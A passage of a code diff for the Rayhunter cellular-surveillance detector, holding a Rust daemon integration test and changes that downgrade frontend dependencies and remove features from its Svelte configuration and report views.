let listener = TcpListener::bind("127.0.0.1:0").expect("bind ephemeral port");
|
|
||||||
listener.local_addr().expect("local_addr").port()
|
|
||||||
}
|
|
||||||
|
|
||||||
fn wait_for_port(port: u16, timeout: Duration) -> bool {
|
|
||||||
let start = Instant::now();
|
|
||||||
while start.elapsed() < timeout {
|
|
||||||
if TcpStream::connect(("127.0.0.1", port)).is_ok() {
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
std::thread::sleep(Duration::from_millis(100));
|
|
||||||
}
|
|
||||||
false
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test(flavor = "current_thread")]
|
|
||||||
async fn daemon_serves_index_and_api() {
|
|
||||||
let port = pick_free_port();
|
|
||||||
|
|
||||||
let tmp = TempDir::new().unwrap();
|
|
||||||
let qmdl_dir = tmp.path().join("qmdl");
|
|
||||||
std::fs::create_dir(&qmdl_dir).unwrap();
|
|
||||||
// The daemon refuses to create a store in debug_mode, so seed an empty
|
|
||||||
// manifest. See init_qmdl_store in daemon/src/main.rs.
|
|
||||||
std::fs::write(qmdl_dir.join("manifest.toml"), "entries = []\n").unwrap();
|
|
||||||
|
|
||||||
let config_path = tmp.path().join("config.toml");
|
|
||||||
std::fs::write(
|
|
||||||
&config_path,
|
|
||||||
format!(
|
|
||||||
"qmdl_store_path = \"{}\"\nport = {}\ndebug_mode = true\n",
|
|
||||||
qmdl_dir.display(),
|
|
||||||
port,
|
|
||||||
),
|
|
||||||
)
|
|
||||||
.unwrap();
|
|
||||||
|
|
||||||
let daemon_bin = env!("CARGO_BIN_EXE_rayhunter-daemon");
|
|
||||||
let mut child = Command::new(daemon_bin)
|
|
||||||
.arg(&config_path)
|
|
||||||
.stdout(Stdio::null())
|
|
||||||
.stderr(Stdio::piped())
|
|
||||||
.spawn()
|
|
||||||
.expect("failed to spawn daemon");
|
|
||||||
|
|
||||||
let stderr_buf: Arc<Mutex<Vec<u8>>> = Arc::new(Mutex::new(Vec::new()));
|
|
||||||
if let Some(mut pipe) = child.stderr.take() {
|
|
||||||
let sink = stderr_buf.clone();
|
|
||||||
std::thread::spawn(move || {
|
|
||||||
let mut chunk = [0u8; 4096];
|
|
||||||
loop {
|
|
||||||
match pipe.read(&mut chunk) {
|
|
||||||
Ok(0) | Err(_) => break,
|
|
||||||
Ok(n) => sink.lock().unwrap().extend_from_slice(&chunk[..n]),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
let mut guard = DaemonGuard {
|
|
||||||
child: Some(child),
|
|
||||||
stderr: stderr_buf,
|
|
||||||
};
|
|
||||||
|
|
||||||
if !wait_for_port(port, STARTUP_TIMEOUT) {
|
|
||||||
panic!(
|
|
||||||
"daemon did not start listening on {port} within {STARTUP_TIMEOUT:?}\n--- daemon stderr ---\n{}",
|
|
||||||
guard.stderr_dump(),
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
// reqwest's rustls backend gets pulled in via feature unification with the
|
|
||||||
// daemon's production deps. The test process needs its own crypto provider.
|
|
||||||
rayhunter_daemon::crypto_provider::install_default();
|
|
||||||
|
|
||||||
let client = reqwest::Client::builder()
|
|
||||||
.timeout(REQUEST_TIMEOUT)
|
|
||||||
.gzip(true)
|
|
||||||
.build()
|
|
||||||
.unwrap();
|
|
||||||
let base = format!("http://127.0.0.1:{port}");
|
|
||||||
|
|
||||||
let resp = client
|
|
||||||
.get(format!("{base}/index.html"))
|
|
||||||
.send()
|
|
||||||
.await
|
|
||||||
.expect("GET /index.html failed");
|
|
||||||
assert!(
|
|
||||||
resp.status().is_success(),
|
|
||||||
"GET /index.html returned {}",
|
|
||||||
resp.status(),
|
|
||||||
);
|
|
||||||
let body = resp.text().await.expect("could not read index.html body");
|
|
||||||
assert!(
|
|
||||||
body.contains("Rayhunter"),
|
|
||||||
"decompressed index.html body did not contain 'Rayhunter' marker (len={})",
|
|
||||||
body.len(),
|
|
||||||
);
|
|
||||||
|
|
||||||
let resp = client
|
|
||||||
.get(format!("{base}/api/qmdl-manifest"))
|
|
||||||
.send()
|
|
||||||
.await
|
|
||||||
.expect("GET /api/qmdl-manifest failed");
|
|
||||||
assert!(
|
|
||||||
resp.status().is_success(),
|
|
||||||
"GET /api/qmdl-manifest returned {}",
|
|
||||||
resp.status(),
|
|
||||||
);
|
|
||||||
|
|
||||||
let status = guard
|
|
||||||
.shutdown(SHUTDOWN_TIMEOUT)
|
|
||||||
.expect("waiting for daemon exit failed");
|
|
||||||
assert!(
|
|
||||||
status.success(),
|
|
||||||
"daemon did not exit cleanly after SIGINT: {status}\n--- daemon stderr ---\n{}",
|
|
||||||
guard.stderr_dump(),
|
|
||||||
);
|
|
||||||
}
|
|
||||||
@@ -22,7 +22,7 @@ export default ts.config(
|
|||||||
},
|
},
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
files: ['**/*.svelte', '**/*.svelte.ts', '**/*.svelte.js'],
|
files: ['**/*.svelte'],
|
||||||
|
|
||||||
languageOptions: {
|
languageOptions: {
|
||||||
parserOptions: {
|
parserOptions: {
|
||||||
@@ -48,11 +48,6 @@ export default ts.config(
|
|||||||
format: ['snake_case'],
|
format: ['snake_case'],
|
||||||
},
|
},
|
||||||
],
|
],
|
||||||
// these rules should eventually be enabled, just disabled them to
|
|
||||||
// make dependency upgrades easier.
|
|
||||||
'svelte/prefer-svelte-reactivity': 'off',
|
|
||||||
'svelte/require-each-key': 'off',
|
|
||||||
'svelte/no-navigation-without-resolve': 'off',
|
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
);
|
);
|
||||||
|
|||||||
Generated
+2886
-1349
File diff suppressed because it is too large
Load Diff
+18
-19
@@ -15,26 +15,25 @@
|
|||||||
"fix": "eslint --fix ."
|
"fix": "eslint --fix ."
|
||||||
},
|
},
|
||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
"@eslint/js": "^10.0.1",
|
"@sveltejs/adapter-auto": "^3.0.0",
|
||||||
"@sveltejs/adapter-auto": "^7.0.1",
|
|
||||||
"@sveltejs/adapter-static": "^3.0.5",
|
"@sveltejs/adapter-static": "^3.0.5",
|
||||||
"@sveltejs/kit": "^2.60.1",
|
"@sveltejs/kit": "^2.49.5",
|
||||||
"@sveltejs/vite-plugin-svelte": "^7.0.0",
|
"@sveltejs/vite-plugin-svelte": "^6.2.1",
|
||||||
"@tailwindcss/vite": "^4.2.2",
|
|
||||||
"@types/eslint": "^9.6.0",
|
"@types/eslint": "^9.6.0",
|
||||||
"@types/node": "^25.6.0",
|
"@types/node": "^24.7.0",
|
||||||
"eslint": "^10.2.1",
|
"autoprefixer": "^10.4.20",
|
||||||
"eslint-config-prettier": "^10.1.8",
|
"eslint": "^9.7.0",
|
||||||
"eslint-plugin-svelte": "^3.17.1",
|
"eslint-config-prettier": "^9.1.0",
|
||||||
"globals": "^17.5.0",
|
"eslint-plugin-svelte": "^2.36.0",
|
||||||
"prettier": "^3.8.3",
|
"globals": "^15.0.0",
|
||||||
"prettier-plugin-svelte": "^3.5.1",
|
"prettier": "^3.3.2",
|
||||||
"svelte": "^5.55.7",
|
"prettier-plugin-svelte": "^3.2.6",
|
||||||
"svelte-check": "^4.4.6",
|
"svelte": "^5.0.0",
|
||||||
"tailwindcss": "^4.2.2",
|
"svelte-check": "^4.0.0",
|
||||||
"typescript": "^6.0.3",
|
"tailwindcss": "^3.4.9",
|
||||||
"typescript-eslint": "^8.59.0",
|
"typescript": "^5.0.0",
|
||||||
"vite": "^8.0.10",
|
"typescript-eslint": "^8.0.0",
|
||||||
"vitest": "^4.1.5"
|
"vite": "^7.1.11",
|
||||||
|
"vitest": "^3.2.4"
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,6 @@
|
|||||||
|
export default {
|
||||||
|
plugins: {
|
||||||
|
tailwindcss: {},
|
||||||
|
autoprefixer: {},
|
||||||
|
},
|
||||||
|
};
|
||||||
+3
-16
@@ -1,16 +1,3 @@
|
|||||||
@import 'tailwindcss';
|
@import 'tailwindcss/base';
|
||||||
|
@import 'tailwindcss/components';
|
||||||
@theme {
|
@import 'tailwindcss/utilities';
|
||||||
--color-rayhunter-blue: #4e4eb1;
|
|
||||||
--color-rayhunter-dark-blue: #3f3da0;
|
|
||||||
--color-rayhunter-green: #94ea18;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* v4 dropped the v3 preflight rule that set `cursor: pointer` on buttons.
|
|
||||||
* Restore it so enabled buttons get the pointer cursor. */
|
|
||||||
@layer base {
|
|
||||||
button:not(:disabled),
|
|
||||||
[role='button']:not(:disabled) {
|
|
||||||
cursor: pointer;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|||||||
@@ -20,7 +20,7 @@
|
|||||||
|
|
||||||
{#if action_errors.length > 0}
|
{#if action_errors.length > 0}
|
||||||
<div
|
<div
|
||||||
class="bg-red-100 border-red-100 drop-shadow-sm p-4 flex flex-col gap-2
|
class="bg-red-100 border-red-100 drop-shadow p-4 flex flex-col gap-2
|
||||||
border rounded-md flex-1 justify-between fixed z-10 right-3 bottom-3 ml-3"
|
border rounded-md flex-1 justify-between fixed z-10 right-3 bottom-3 ml-3"
|
||||||
>
|
>
|
||||||
<div class="flex flex-row justify-between">
|
<div class="flex flex-row justify-between">
|
||||||
|
|||||||
@@ -11,7 +11,7 @@
|
|||||||
dateStyle: 'short',
|
dateStyle: 'short',
|
||||||
});
|
});
|
||||||
|
|
||||||
const analyzers = $derived(report.metadata.analyzers);
|
const analyzers = report.metadata.analyzers;
|
||||||
|
|
||||||
const skipped_messages: Map<string, number> = $derived.by(() => {
|
const skipped_messages: Map<string, number> = $derived.by(() => {
|
||||||
let map = new Map();
|
let map = new Map();
|
||||||
|
|||||||
@@ -1,7 +1,6 @@
|
|||||||
<script lang="ts">
|
<script lang="ts">
|
||||||
import { type ReportMetadata } from '$lib/analysis.svelte';
|
import { type ReportMetadata } from '$lib/analysis.svelte';
|
||||||
import type { ManifestEntry } from '$lib/manifest.svelte';
|
import type { ManifestEntry } from '$lib/manifest.svelte';
|
||||||
import { gps_mode_label } from '$lib/utils.svelte';
|
|
||||||
import { AnalysisManager } from '$lib/analysisManager.svelte';
|
import { AnalysisManager } from '$lib/analysisManager.svelte';
|
||||||
import AnalysisTable from './AnalysisTable.svelte';
|
import AnalysisTable from './AnalysisTable.svelte';
|
||||||
import ReAnalyzeButton from './ReAnalyzeButton.svelte';
|
import ReAnalyzeButton from './ReAnalyzeButton.svelte';
|
||||||
@@ -14,11 +13,6 @@
|
|||||||
manager: AnalysisManager;
|
manager: AnalysisManager;
|
||||||
current: boolean;
|
current: boolean;
|
||||||
} = $props();
|
} = $props();
|
||||||
|
|
||||||
const date_formatter = new Intl.DateTimeFormat(undefined, {
|
|
||||||
timeStyle: 'long',
|
|
||||||
dateStyle: 'short',
|
|
||||||
});
|
|
||||||
</script>
|
</script>
|
||||||
|
|
||||||
<div class="container mt-2">
|
<div class="container mt-2">
|
||||||
@@ -55,34 +49,20 @@
|
|||||||
{:else}
|
{:else}
|
||||||
<p>No warnings to display!</p>
|
<p>No warnings to display!</p>
|
||||||
{/if}
|
{/if}
|
||||||
<div>
|
{#if metadata !== undefined && metadata.rayhunter !== undefined}
|
||||||
<p class="text-lg underline">Metadata</p>
|
|
||||||
{#if metadata !== undefined && metadata.rayhunter !== undefined}
|
|
||||||
<p><b>Rayhunter version:</b> {metadata.rayhunter.rayhunter_version}</p>
|
|
||||||
<p><b>Device system OS:</b> {metadata.rayhunter.system_os}</p>
|
|
||||||
{:else}
|
|
||||||
<p>N/A (analysis generated by an older version of rayhunter)</p>
|
|
||||||
{/if}
|
|
||||||
{#if entry.upload_time}
|
|
||||||
<p>
|
|
||||||
<b>WebDAV uploaded at:</b>
|
|
||||||
<span class="text-green-700"
|
|
||||||
>{date_formatter.format(entry.upload_time)}</span
|
|
||||||
>
|
|
||||||
</p>
|
|
||||||
{/if}
|
|
||||||
<p>
|
|
||||||
<b>GPS Mode:</b>
|
|
||||||
{gps_mode_label(entry.gps_mode)}
|
|
||||||
</p>
|
|
||||||
</div>
|
|
||||||
{#if metadata && metadata.analyzers}
|
|
||||||
<div>
|
<div>
|
||||||
<p class="text-lg underline">Enabled Analyzers</p>
|
<p class="text-lg underline">Metadata</p>
|
||||||
|
<p>Analysis by Rayhunter version {metadata.rayhunter.rayhunter_version}</p>
|
||||||
|
<p><b>Device system OS:</b> {metadata.rayhunter.system_os}</p>
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<p class="text-lg underline">Analyzers</p>
|
||||||
{#each metadata.analyzers as analyzer}
|
{#each metadata.analyzers as analyzer}
|
||||||
<p><b>{analyzer.name}:</b> {analyzer.description}</p>
|
<p><b>{analyzer.name}:</b> {analyzer.description}</p>
|
||||||
{/each}
|
{/each}
|
||||||
</div>
|
</div>
|
||||||
|
{:else}
|
||||||
|
<p>N/A (analysis generated by an older version of rayhunter)</p>
|
||||||
{/if}
|
{/if}
|
||||||
</div>
|
</div>
|
||||||
{/if}
|
{/if}
|
||||||
|
|||||||
@@ -55,7 +55,7 @@
|
|||||||
|
|
||||||
{#if show_alert}
|
{#if show_alert}
|
||||||
<div
|
<div
|
||||||
class="bg-yellow-100 border-yellow-400 drop-shadow-sm p-4 flex flex-col gap-2 border rounded-md"
|
class="bg-yellow-100 border-yellow-400 drop-shadow p-4 flex flex-col gap-2 border rounded-md"
|
||||||
>
|
>
|
||||||
<span class="text-xl font-bold flex flex-row items-center gap-2 text-yellow-700">
|
<span class="text-xl font-bold flex flex-row items-center gap-2 text-yellow-700">
|
||||||
<svg
|
<svg
|
||||||
|
|||||||
@@ -1,20 +1,6 @@
|
|||||||
<script lang="ts">
|
<script lang="ts">
|
||||||
import {
|
import { get_config, set_config, test_notification, type Config } from '../utils.svelte';
|
||||||
get_config,
|
|
||||||
set_config,
|
|
||||||
test_notification,
|
|
||||||
get_wifi_status,
|
|
||||||
scan_wifi_networks,
|
|
||||||
GpsMode,
|
|
||||||
enabled_notifications,
|
|
||||||
type Config,
|
|
||||||
type WifiStatus,
|
|
||||||
type WifiNetwork,
|
|
||||||
} from '../utils.svelte';
|
|
||||||
import Modal from './Modal.svelte';
|
|
||||||
import ExpandableInput from './ExpandableInput.svelte';
|
|
||||||
|
|
||||||
let { shown = $bindable() }: { shown: boolean } = $props();
|
|
||||||
let config = $state<Config | null>(null);
|
let config = $state<Config | null>(null);
|
||||||
|
|
||||||
let loading = $state(false);
|
let loading = $state(false);
|
||||||
@@ -24,20 +10,14 @@
|
|||||||
let messageType = $state<'success' | 'error' | null>(null);
|
let messageType = $state<'success' | 'error' | null>(null);
|
||||||
let testMessage = $state('');
|
let testMessage = $state('');
|
||||||
let testMessageType = $state<'success' | 'error' | null>(null);
|
let testMessageType = $state<'success' | 'error' | null>(null);
|
||||||
let wifiStatus = $state<WifiStatus | null>(null);
|
let showConfig = $state(false);
|
||||||
let wifiStatusTimer = $state<ReturnType<typeof setInterval> | null>(null);
|
|
||||||
let scanning = $state(false);
|
|
||||||
let scanResults = $state<WifiNetwork[]>([]);
|
|
||||||
let dnsServersInput = $state('');
|
|
||||||
|
|
||||||
async function load_config() {
|
async function load_config() {
|
||||||
try {
|
try {
|
||||||
loading = true;
|
loading = true;
|
||||||
config = await get_config();
|
config = await get_config();
|
||||||
dnsServersInput = config.dns_servers ? config.dns_servers.join(', ') : '';
|
|
||||||
message = '';
|
message = '';
|
||||||
messageType = null;
|
messageType = null;
|
||||||
poll_wifi_status();
|
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
message = `Failed to load config: ${error}`;
|
message = `Failed to load config: ${error}`;
|
||||||
messageType = 'error';
|
messageType = 'error';
|
||||||
@@ -49,15 +29,6 @@
|
|||||||
async function save_config() {
|
async function save_config() {
|
||||||
if (!config) return;
|
if (!config) return;
|
||||||
|
|
||||||
const trimmed = dnsServersInput.trim();
|
|
||||||
config.dns_servers =
|
|
||||||
trimmed.length > 0
|
|
||||||
? trimmed
|
|
||||||
.split(',')
|
|
||||||
.map((s) => s.trim())
|
|
||||||
.filter((s) => s.length > 0)
|
|
||||||
: null;
|
|
||||||
|
|
||||||
try {
|
try {
|
||||||
saving = true;
|
saving = true;
|
||||||
await set_config(config);
|
await set_config(config);
|
||||||
@@ -72,49 +43,6 @@
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
async function poll_wifi_status() {
|
|
||||||
if (wifiStatusTimer) clearInterval(wifiStatusTimer);
|
|
||||||
try {
|
|
||||||
wifiStatus = await get_wifi_status();
|
|
||||||
} catch {
|
|
||||||
wifiStatus = null;
|
|
||||||
}
|
|
||||||
wifiStatusTimer = setInterval(async () => {
|
|
||||||
try {
|
|
||||||
wifiStatus = await get_wifi_status();
|
|
||||||
} catch {
|
|
||||||
wifiStatus = null;
|
|
||||||
}
|
|
||||||
}, 5000);
|
|
||||||
}
|
|
||||||
|
|
||||||
let scanError = $state('');
|
|
||||||
|
|
||||||
async function do_scan() {
|
|
||||||
scanning = true;
|
|
||||||
scanError = '';
|
|
||||||
try {
|
|
||||||
scanResults = await scan_wifi_networks();
|
|
||||||
} catch (error) {
|
|
||||||
scanResults = [];
|
|
||||||
scanError = `Scan failed: ${error}`;
|
|
||||||
} finally {
|
|
||||||
scanning = false;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function select_network(network: WifiNetwork) {
|
|
||||||
if (config) {
|
|
||||||
config.wifi_ssid = network.ssid;
|
|
||||||
config.wifi_password = '';
|
|
||||||
config.wifi_security =
|
|
||||||
network.security === 'WPA3' || network.security === 'WPA3 (transition)'
|
|
||||||
? 'sae'
|
|
||||||
: 'wpa_psk';
|
|
||||||
scanResults = [];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
async function send_test_notification() {
|
async function send_test_notification() {
|
||||||
try {
|
try {
|
||||||
testingNotification = true;
|
testingNotification = true;
|
||||||
@@ -132,24 +60,30 @@
|
|||||||
}
|
}
|
||||||
|
|
||||||
$effect(() => {
|
$effect(() => {
|
||||||
if (shown && !config) {
|
if (showConfig && !config) {
|
||||||
load_config();
|
load_config();
|
||||||
}
|
}
|
||||||
if (!shown && wifiStatusTimer) {
|
|
||||||
clearInterval(wifiStatusTimer);
|
|
||||||
wifiStatusTimer = null;
|
|
||||||
}
|
|
||||||
return () => {
|
|
||||||
if (wifiStatusTimer) {
|
|
||||||
clearInterval(wifiStatusTimer);
|
|
||||||
wifiStatusTimer = null;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
});
|
});
|
||||||
</script>
|
</script>
|
||||||
|
|
||||||
<Modal bind:shown title="Configuration">
|
<div class="bg-white rounded-lg shadow-md p-6 m-4">
|
||||||
<div class="p-2">
|
<button
|
||||||
|
class="w-full flex justify-between items-center text-xl font-bold mb-4 text-rayhunter-dark-blue hover:text-rayhunter-blue"
|
||||||
|
onclick={() => (showConfig = !showConfig)}
|
||||||
|
>
|
||||||
|
<span>Configuration</span>
|
||||||
|
<svg
|
||||||
|
class="w-6 h-6 transition-transform {showConfig ? 'rotate-180' : ''}"
|
||||||
|
fill="none"
|
||||||
|
stroke="currentColor"
|
||||||
|
viewBox="0 0 24 24"
|
||||||
|
>
|
||||||
|
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M19 9l-7 7-7-7"
|
||||||
|
></path>
|
||||||
|
</svg>
|
||||||
|
</button>
|
||||||
|
|
||||||
|
{#if showConfig}
|
||||||
{#if loading}
|
{#if loading}
|
||||||
<div class="text-center py-4">Loading config...</div>
|
<div class="text-center py-4">Loading config...</div>
|
||||||
{:else if config}
|
{:else if config}
|
||||||
@@ -167,13 +101,13 @@
|
|||||||
<select
|
<select
|
||||||
id="ui_level"
|
id="ui_level"
|
||||||
bind:value={config.ui_level}
|
bind:value={config.ui_level}
|
||||||
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
|
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
|
||||||
>
|
>
|
||||||
<option value={0}>Invisible mode</option>
|
<option value={0}>0 - Invisible mode</option>
|
||||||
<option value={1}>Subtle mode (colored line)</option>
|
<option value={1}>1 - Subtle mode (colored line)</option>
|
||||||
<option value={2}>Demo mode (orca gif)</option>
|
<option value={2}>2 - Demo mode (orca gif)</option>
|
||||||
<option value={3}>EFF logo</option>
|
<option value={3}>3 - EFF logo</option>
|
||||||
<option value={4}>High visibility (full screen color)</option>
|
<option value={4}>4 - High visibility (full screen color)</option>
|
||||||
</select>
|
</select>
|
||||||
<p class="text-xs text-gray-500 mt-1">
|
<p class="text-xs text-gray-500 mt-1">
|
||||||
Note: Rayhunter draws over the device's native UI, so some flickering is
|
Note: Rayhunter draws over the device's native UI, so some flickering is
|
||||||
@@ -191,10 +125,12 @@
|
|||||||
<select
|
<select
|
||||||
id="key_input_mode"
|
id="key_input_mode"
|
||||||
bind:value={config.key_input_mode}
|
bind:value={config.key_input_mode}
|
||||||
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
|
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
|
||||||
>
|
>
|
||||||
<option value={0}>Disable button control</option>
|
<option value={0}>0 - Disable button control</option>
|
||||||
<option value={1}>Double-tap power button to start new recording</option>
|
<option value={1}
|
||||||
|
>1 - Double-tap power button to start/stop recording</option
|
||||||
|
>
|
||||||
</select>
|
</select>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
@@ -204,7 +140,7 @@
|
|||||||
id="colorblind_mode"
|
id="colorblind_mode"
|
||||||
type="checkbox"
|
type="checkbox"
|
||||||
bind:checked={config.colorblind_mode}
|
bind:checked={config.colorblind_mode}
|
||||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded-sm"
|
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
|
||||||
/>
|
/>
|
||||||
<label for="colorblind_mode" class="ml-2 block text-sm text-gray-700">
|
<label for="colorblind_mode" class="ml-2 block text-sm text-gray-700">
|
||||||
Colorblind Mode
|
Colorblind Mode
|
||||||
@@ -212,125 +148,100 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="border-t border-gray-200 pt-4 mt-6 space-y-3">
|
<div class="border-t pt-4 mt-6 space-y-3">
|
||||||
<h3 class="text-lg font-semibold text-gray-800 mb-4">Notification Settings</h3>
|
<h3 class="text-lg font-semibold text-gray-800 mb-4">Notification Settings</h3>
|
||||||
|
<div>
|
||||||
<div class="flex items-center">
|
<label for="ntfy_url" class="block text-sm font-medium text-gray-700 mb-1">
|
||||||
<input
|
ntfy URL for Sending Notifications (if unset you will not receive
|
||||||
id="auto_check_updates"
|
notifications)
|
||||||
type="checkbox"
|
|
||||||
bind:checked={config.auto_check_updates}
|
|
||||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded-sm"
|
|
||||||
/>
|
|
||||||
<label for="auto_check_updates" class="ml-2 block text-sm text-gray-700">
|
|
||||||
Automatically check for software updates
|
|
||||||
</label>
|
</label>
|
||||||
|
<input
|
||||||
|
id="ntfy_url"
|
||||||
|
type="url"
|
||||||
|
bind:value={config.ntfy_url}
|
||||||
|
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
|
||||||
|
/>
|
||||||
|
<p class="text-xs text-gray-500 mt-1">
|
||||||
|
Test button below uses the saved configuration URL, not the input above
|
||||||
|
</p>
|
||||||
</div>
|
</div>
|
||||||
<p class="text-xs text-gray-500">
|
|
||||||
When enabled, Rayhunter periodically checks GitHub for new releases and
|
|
||||||
shows an update notice in the web UI.
|
|
||||||
</p>
|
|
||||||
|
|
||||||
<ExpandableInput
|
<div>
|
||||||
bind:value={config.ntfy_url}
|
<button
|
||||||
checkboxId="ntfy_enabled"
|
type="button"
|
||||||
inputId="ntfy_url"
|
onclick={send_test_notification}
|
||||||
label="Enable ntfy notifications"
|
disabled={testingNotification}
|
||||||
inputLabel="ntfy URL"
|
class="bg-rayhunter-blue hover:bg-rayhunter-dark-blue disabled:opacity-50 disabled:cursor-not-allowed text-white font-bold py-2 px-4 rounded-md flex flex-row gap-1 items-center"
|
||||||
inputPlaceholder="https://ntfy.sh/my-rayhunter"
|
>
|
||||||
inputHelp="Test button below uses the saved configuration URL, not the input above"
|
{#if testingNotification}
|
||||||
>
|
|
||||||
<div>
|
|
||||||
<button
|
|
||||||
type="button"
|
|
||||||
onclick={send_test_notification}
|
|
||||||
disabled={testingNotification}
|
|
||||||
class="bg-rayhunter-blue hover:bg-rayhunter-dark-blue disabled:opacity-50 disabled:cursor-not-allowed text-white font-bold py-2 px-4 rounded-md flex flex-row gap-1 items-center"
|
|
||||||
>
|
|
||||||
{#if testingNotification}
|
|
||||||
<div
|
|
||||||
class="w-4 h-4 border-2 border-white border-t-transparent rounded-full animate-spin"
|
|
||||||
></div>
|
|
||||||
Sending...
|
|
||||||
{:else}
|
|
||||||
<svg
|
|
||||||
class="w-4 h-4"
|
|
||||||
fill="none"
|
|
||||||
stroke="currentColor"
|
|
||||||
viewBox="0 0 24 24"
|
|
||||||
>
|
|
||||||
<path
|
|
||||||
stroke-linecap="round"
|
|
||||||
stroke-linejoin="round"
|
|
||||||
stroke-width="2"
|
|
||||||
d="M12 19l9 2-9-18-9 18 9-2zm0 0v-8"
|
|
||||||
></path>
|
|
||||||
</svg>
|
|
||||||
Send Test Notification
|
|
||||||
{/if}
|
|
||||||
</button>
|
|
||||||
{#if testMessage}
|
|
||||||
<div
|
<div
|
||||||
class="mt-2 p-2 rounded-sm text-sm {testMessageType === 'error'
|
class="w-4 h-4 border-2 border-white border-t-transparent rounded-full animate-spin"
|
||||||
? 'bg-red-100 text-red-700'
|
></div>
|
||||||
: 'bg-green-100 text-green-700'}"
|
Sending...
|
||||||
|
{:else}
|
||||||
|
<svg
|
||||||
|
class="w-4 h-4"
|
||||||
|
fill="none"
|
||||||
|
stroke="currentColor"
|
||||||
|
viewBox="0 0 24 24"
|
||||||
>
|
>
|
||||||
{testMessage}
|
<path
|
||||||
</div>
|
stroke-linecap="round"
|
||||||
|
stroke-linejoin="round"
|
||||||
|
stroke-width="2"
|
||||||
|
d="M12 19l9 2-9-18-9 18 9-2zm0 0v-8"
|
||||||
|
></path>
|
||||||
|
</svg>
|
||||||
|
Send Test Notification
|
||||||
{/if}
|
{/if}
|
||||||
</div>
|
</button>
|
||||||
|
{#if testMessage}
|
||||||
|
<div
|
||||||
|
class="mt-2 p-2 rounded text-sm {testMessageType === 'error'
|
||||||
|
? 'bg-red-100 text-red-700'
|
||||||
|
: 'bg-green-100 text-green-700'}"
|
||||||
|
>
|
||||||
|
{testMessage}
|
||||||
|
</div>
|
||||||
|
{/if}
|
||||||
|
</div>
|
||||||
|
|
||||||
<div class="space-y-2">
|
<div class="space-y-2">
|
||||||
<div class="block text-sm font-medium text-gray-700 mb-1">
|
<div class="block text-sm font-medium text-gray-700 mb-1">
|
||||||
Enabled Notification Types
|
Enabled Notification Types
|
||||||
</div>
|
|
||||||
<div class="flex items-center">
|
|
||||||
<input
|
|
||||||
type="checkbox"
|
|
||||||
id="enable_warning_notifications"
|
|
||||||
value="Warning"
|
|
||||||
bind:group={config.enabled_notifications}
|
|
||||||
/>
|
|
||||||
<label
|
|
||||||
for="enable_warning_notifications"
|
|
||||||
class="ml-2 block text-sm text-gray-700"
|
|
||||||
>
|
|
||||||
Warnings
|
|
||||||
</label>
|
|
||||||
</div>
|
|
||||||
<div class="flex items-center">
|
|
||||||
<input
|
|
||||||
type="checkbox"
|
|
||||||
id="enable_lowbattery_notifications"
|
|
||||||
value="LowBattery"
|
|
||||||
bind:group={config.enabled_notifications}
|
|
||||||
/>
|
|
||||||
<label
|
|
||||||
for="enable_lowbattery_notifications"
|
|
||||||
class="ml-2 block text-sm text-gray-700"
|
|
||||||
>
|
|
||||||
Low Battery
|
|
||||||
</label>
|
|
||||||
</div>
|
|
||||||
<div class="flex items-center">
|
|
||||||
<input
|
|
||||||
type="checkbox"
|
|
||||||
id="enable_update_notifications"
|
|
||||||
value={enabled_notifications.Update}
|
|
||||||
bind:group={config.enabled_notifications}
|
|
||||||
/>
|
|
||||||
<label
|
|
||||||
for="enable_update_notifications"
|
|
||||||
class="ml-2 block text-sm text-gray-700"
|
|
||||||
>
|
|
||||||
Software Updates
|
|
||||||
</label>
|
|
||||||
</div>
|
|
||||||
</div>
|
</div>
|
||||||
</ExpandableInput>
|
<div class="flex items-center">
|
||||||
|
<input
|
||||||
|
type="checkbox"
|
||||||
|
id="enable_warning_notifications"
|
||||||
|
value="Warning"
|
||||||
|
bind:group={config.enabled_notifications}
|
||||||
|
/>
|
||||||
|
<label
|
||||||
|
for="enable_warning_notifications"
|
||||||
|
class="ml-2 block text-sm text-gray-700"
|
||||||
|
>
|
||||||
|
Warnings
|
||||||
|
</label>
|
||||||
|
</div>
|
||||||
|
<div class="flex items-center">
|
||||||
|
<input
|
||||||
|
type="checkbox"
|
||||||
|
id="enable_lowbattery_notifications"
|
||||||
|
value="LowBattery"
|
||||||
|
bind:group={config.enabled_notifications}
|
||||||
|
/>
|
||||||
|
<label
|
||||||
|
for="enable_lowbattery_notifications"
|
||||||
|
class="ml-2 block text-sm text-gray-700"
|
||||||
|
>
|
||||||
|
Low Battery
|
||||||
|
</label>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
